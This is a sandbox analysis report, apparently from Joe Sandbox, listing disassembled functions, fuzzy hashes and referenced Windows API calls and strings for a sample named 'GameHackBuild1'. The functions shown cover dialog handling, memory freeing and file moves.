Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 2df2e8399b47309d283449a709da93d7c890cccf4bb80df15be7cc981e38628e
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: A5C1A3362055B30ADF2D873DA53483FBAA25AA17B131A077DD4B3CB5D6FE20D524DA20

Function 00A0E2A0 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 177b6fe814c1e69309c4b245eaf7a9fcc4723bafa91e941ec417755a991652bd
Instruction ID: 49739dbe508b19916adf71094ca3b6a4e970938031f5b67d287ac053ea61e842
Opcode Fuzzy Hash: 177b6fe814c1e69309c4b245eaf7a9fcc4723bafa91e941ec417755a991652bd
Instruction Fuzzy Hash: 26E126799183848FC304CF69D89096ABBF0ABDA300F85095EF5D597352C336EA19DB62

Function 00A13A3C Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ee40635f5eb985b3bbee2261c61159bd369e52b8a1a067f630af1631055f8c
Instruction ID: 4d621faf2ebabdbc7afc034735d56106733c92e889271a4ecdc94c06770ed848
Opcode Fuzzy Hash: a6ee40635f5eb985b3bbee2261c61159bd369e52b8a1a067f630af1631055f8c
Instruction Fuzzy Hash: 8B915B722087498BDF24EF68D991BFA77E5EF90300F10492DE597D72C2EA749688C381

Function 00A24969 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d0bc21953d1cf7da74f6ad1bb32984e2b7059808fb75242b23e32a3e582cd92
Instruction ID: 1d838e4916a07e7e8d8bd43a4c52140a92266bc4cae5cc031153f441a54000e5
Opcode Fuzzy Hash: 2d0bc21953d1cf7da74f6ad1bb32984e2b7059808fb75242b23e32a3e582cd92
Instruction Fuzzy Hash: 4B619B71A84B3856DE389B2CB955BBF2394EB0D780F100A39E883DB2C1D651DD82C759

Function 00A13D6D Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction ID: d2e0b3960cd00f2b411606a7764fd91f9d831de1a99609363c504b28c1193d52
Opcode Fuzzy Hash: 2fa2980f550074fd9d5fffc8fceb723f20dffd391df208c388f2810114909e4d
Instruction Fuzzy Hash: 557102727043454BDF24DF29D9D0BFE77E5ABA4304F00492DE9C68B2C2DA749ACA8752

Function 00A2473A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60b7de3cb2a39437cdc6fe6ef6c29ff78e73ae8b7f18a3af6c87a7ac86428b6e
Instruction ID: d4c21bf6f1a715cec8c30bccce0ff77cd4defca21d250f6f5d75cc1b72f1ce4d
Opcode Fuzzy Hash: 60b7de3cb2a39437cdc6fe6ef6c29ff78e73ae8b7f18a3af6c87a7ac86428b6e
Instruction Fuzzy Hash: 50518870A10AB45BDB388B3CB955BBF27D9AB5F300F180539E993DB282C324DD419392

Function 00A0DE6C Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a2611c7a51ba895fdc97861134805914643a57c2252e68cf242a9e67e6dbe9
Instruction ID: 2b0a481693c7d62a9b5ae2741b7c506bbca5752d47809ab594c818c176633d2b
Opcode Fuzzy Hash: 88a2611c7a51ba895fdc97861134805914643a57c2252e68cf242a9e67e6dbe9
Instruction Fuzzy Hash: EE819F9E61D6D8DEC716CFBC38A42B93FA157B3300B1845AAC4C6C62A3C177459AD722

Function 00A0E8A0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 465b728b596a0255ba025d2ad261cacbe4c5018ea29737475f2086837c838f69
Instruction ID: 9923a90b89f71d5df14f81a4c6a7b594f04cbc238bf265c845175145a2801e08
Opcode Fuzzy Hash: 465b728b596a0255ba025d2ad261cacbe4c5018ea29737475f2086837c838f69
Instruction Fuzzy Hash: 1E51D035A083D94EC712CF28A18056EFFE0BFDA354F594C9EE4D55B242D2209649DB92

Function 00A0F968 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00a08b0108029b1ee80143d2c3a6372bb1803bc646f10569c24c6e3519ccc905
Instruction ID: 102a7dde95b867f456fc03f5987b3fc86237a163977f65e988502cb08c7d271b
Opcode Fuzzy Hash: 00a08b0108029b1ee80143d2c3a6372bb1803bc646f10569c24c6e3519ccc905
Instruction Fuzzy Hash: 90512671A083158FC748CF19E48055AF7E1FFC8354F058A2EE899A7740DB34E959CB96

Function 00A137C1 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction ID: a4ff851d60c01f5617ec0cec516820fe9748a14cba1ac26a85340298c71024e1
Opcode Fuzzy Hash: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction Fuzzy Hash: 3E312BB26047498FCB14DF28C8512AEBBE0FB95310F14892DE4D5C7382C735EA89CB91

Function 00A05F3C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bf20ceec5c8d80c975fb9f66e54a77dbf31447cbf102b29e3d8fa6ec0fc8892
Instruction ID: de5343630bf2d494730c038799e11131cbe5724ba915243f2908e9da05677e17
Opcode Fuzzy Hash: 6bf20ceec5c8d80c975fb9f66e54a77dbf31447cbf102b29e3d8fa6ec0fc8892
Instruction Fuzzy Hash: F7210A36E241664FCB48CF6DECD08377765AB86311746812BFA428B2D0C535ED26DBA0

Function 00A0DA98 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 236COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A0DABE

Part of subcall function 00A0400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A0401D

Part of subcall function 00A11596: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,00A40EE8,?,00A0D202,00000000,?,00000050,00A40EE8), ref: 00A115B3

_strlen.LIBCMT ref: 00A0DADF
SetDlgItemTextW.USER32(?,00A3E154,?), ref: 00A0DB3F
GetWindowRect.USER32(?,?), ref: 00A0DB79
GetClientRect.USER32(?,?), ref: 00A0DB85
GetWindowLongW.USER32(?,000000F0), ref: 00A0DC25
GetWindowRect.USER32(?,?), ref: 00A0DC52
SetWindowTextW.USER32(?,?), ref: 00A0DC95
GetSystemMetrics.USER32(00000008), ref: 00A0DC9D
GetWindow.USER32(?,00000005), ref: 00A0DCA8
GetWindowRect.USER32(00000000,?), ref: 00A0DCD5
GetWindow.USER32(00000000,00000002), ref: 00A0DD47

Strings

CAPTION, xrefs: 00A0DC77
d, xrefs: 00A0DBA5
$%s:, xrefs: 00A0DAB2

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 43705c993219f8a1d06375fd33c255f3e554a9465cd55914c35c5c5e79dccd9a
Instruction ID: eba40b5100d266c196db799865bdc3cc1b30755e73cdc0a9074325536e3d2189
Opcode Fuzzy Hash: 43705c993219f8a1d06375fd33c255f3e554a9465cd55914c35c5c5e79dccd9a
Instruction Fuzzy Hash: FE819172508345AFD710DFA8DD89F6BBBF9EB89704F04091DFA84A3290D670E906CB52

Function 00A2C233 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00A2C277

Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BE2F
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BE41
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BE53
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BE65
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BE77
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BE89
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BE9B
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BEAD
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BEBF
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BED1
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BEE3
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BEF5
Part of subcall function 00A2BE12: _free.LIBCMT ref: 00A2BF07

_free.LIBCMT ref: 00A2C26C

Part of subcall function 00A284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?), ref: 00A284F4
Part of subcall function 00A284DE: GetLastError.KERNEL32(?,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?,?), ref: 00A28506

_free.LIBCMT ref: 00A2C28E
_free.LIBCMT ref: 00A2C2A3
_free.LIBCMT ref: 00A2C2AE
_free.LIBCMT ref: 00A2C2D0
_free.LIBCMT ref: 00A2C2E3
_free.LIBCMT ref: 00A2C2F1
_free.LIBCMT ref: 00A2C2FC
_free.LIBCMT ref: 00A2C334
_free.LIBCMT ref: 00A2C33B
_free.LIBCMT ref: 00A2C358
_free.LIBCMT ref: 00A2C370

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: b41ef52bdeb38c7b58cbd39b1bfd212cab961d822f58dd0344c344488574caa8
Instruction ID: afea6800d5b3144653bf61dfc332fa38cd4c0b9f2a736340158866530cef1133
Opcode Fuzzy Hash: b41ef52bdeb38c7b58cbd39b1bfd212cab961d822f58dd0344c344488574caa8
Instruction Fuzzy Hash: 06315C326002259FEB20AB7CEA45B9AB3E9BF00320F148879F449DB951DF35EC408B60

Function 00A1CD2E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00A1CD51
GetClassNameW.USER32(00000000,?,00000800), ref: 00A1CD7D

Part of subcall function 00A117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00A0BB05,00000000,.exe,?,?,00000800,?,?,00A185DF,?), ref: 00A117C2

GetWindowLongW.USER32(00000000,000000F0), ref: 00A1CD99
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00A1CDB0
GetObjectW.GDI32(00000000,00000018,?), ref: 00A1CDC4
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00A1CDED
DeleteObject.GDI32(00000000), ref: 00A1CDF4
GetWindow.USER32(00000000,00000002), ref: 00A1CDFD

Strings

STATIC, xrefs: 00A1CD83

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 7f9632f035723a06039396dbed21d76f4e1ef79e7fd6f2674f319b65fb1a57b8
Instruction ID: a67e901e5064a9f0e61ee5bae770ea5065999061c4fecb30fe84e6111766b8c4
Opcode Fuzzy Hash: 7f9632f035723a06039396dbed21d76f4e1ef79e7fd6f2674f319b65fb1a57b8
Instruction Fuzzy Hash: 97110A725847107BE631EBA0AC0AFDF766CFF55751F014520FA42A60D2CAA48D8787A5

Function 00A28EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A28EC5

Part of subcall function 00A284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?), ref: 00A284F4
Part of subcall function 00A284DE: GetLastError.KERNEL32(?,?,00A2BFA7,?,00000000,?,00000000,?,00A2BFCE,?,00000007,?,?,00A2C3CB,?,?), ref: 00A28506

_free.LIBCMT ref: 00A28ED1
_free.LIBCMT ref: 00A28EDC
_free.LIBCMT ref: 00A28EE7
_free.LIBCMT ref: 00A28EF2
_free.LIBCMT ref: 00A28EFD
_free.LIBCMT ref: 00A28F08
_free.LIBCMT ref: 00A28F13
_free.LIBCMT ref: 00A28F1E
_free.LIBCMT ref: 00A28F2C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f02f305523842740d1773ce8c5ce248d5d6eafad7d278d32f11257950fc90ea1
Instruction ID: 3d40c14852f237b5ea911bafc1a5a7683984d5941de2ab226ae0cbc6dea4af66
Opcode Fuzzy Hash: f02f305523842740d1773ce8c5ce248d5d6eafad7d278d32f11257950fc90ea1
Instruction Fuzzy Hash: EA11A47650111DAFCB11FF58EA42CDA3BA5FF04350B5140E5BA088B62ADA35DA519B80

Function 00A02162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

x%u, xrefs: 00A0267A
;%u, xrefs: 00A02497
xc%u, xrefs: 00A026D7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: d0418f7fa75b96f1fe6d291a1165462be033516c277b468617ba84e133b5336f
Instruction ID: 500d4a6cc01301ec7a95f3d98eb57c62b5e8771ae91b682b3faf4cfabf0dca6b
Opcode Fuzzy Hash: d0418f7fa75b96f1fe6d291a1165462be033516c277b468617ba84e133b5336f
Instruction Fuzzy Hash: E8F14A716043485BDB25EF34A9A9BFE7799AFD4300F08057DF8858F2C3DA659848C7A2

Function 00A1ACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0130B: GetDlgItem.USER32(00000000,00003021), ref: 00A0134F
Part of subcall function 00A0130B: SetWindowTextW.USER32(00000000,00A335B4), ref: 00A01365

EndDialog.USER32(?,00000001), ref: 00A1AD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 00A1AD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00A1AD60
SetWindowTextW.USER32(?,?), ref: 00A1AD71
GetDlgItem.USER32(?,00000065), ref: 00A1AD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00A1AD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00A1ADA4

Strings

LICENSEDLG, xrefs: 00A1ACE4

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: dd9261f9afbca114c9ea792c7e28b3a1d03836d9a18bb7b22da6718748296268
Instruction ID: 4fbbdf6c60a18a9e9a8cd1efa62973a99731beeaf24f13bafd2edec678813a0b
Opcode Fuzzy Hash: dd9261f9afbca114c9ea792c7e28b3a1d03836d9a18bb7b22da6718748296268
Instruction Fuzzy Hash: A721E132245604BBD221DFA1FD49FBB3A7CFB57B46F020014F605A24A0CAA2AD42D732

Function 00A09443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A09448
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00A0946B
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00A0948A

Part of subcall function 00A117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00A0BB05,00000000,.exe,?,?,00000800,?,?,00A185DF,?), ref: 00A117C2

_swprintf.LIBCMT ref: 00A09526

Part of subcall function 00A0400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A0401D

MoveFileW.KERNEL32(?,?), ref: 00A09595
MoveFileW.KERNEL32(?,?), ref: 00A095D5

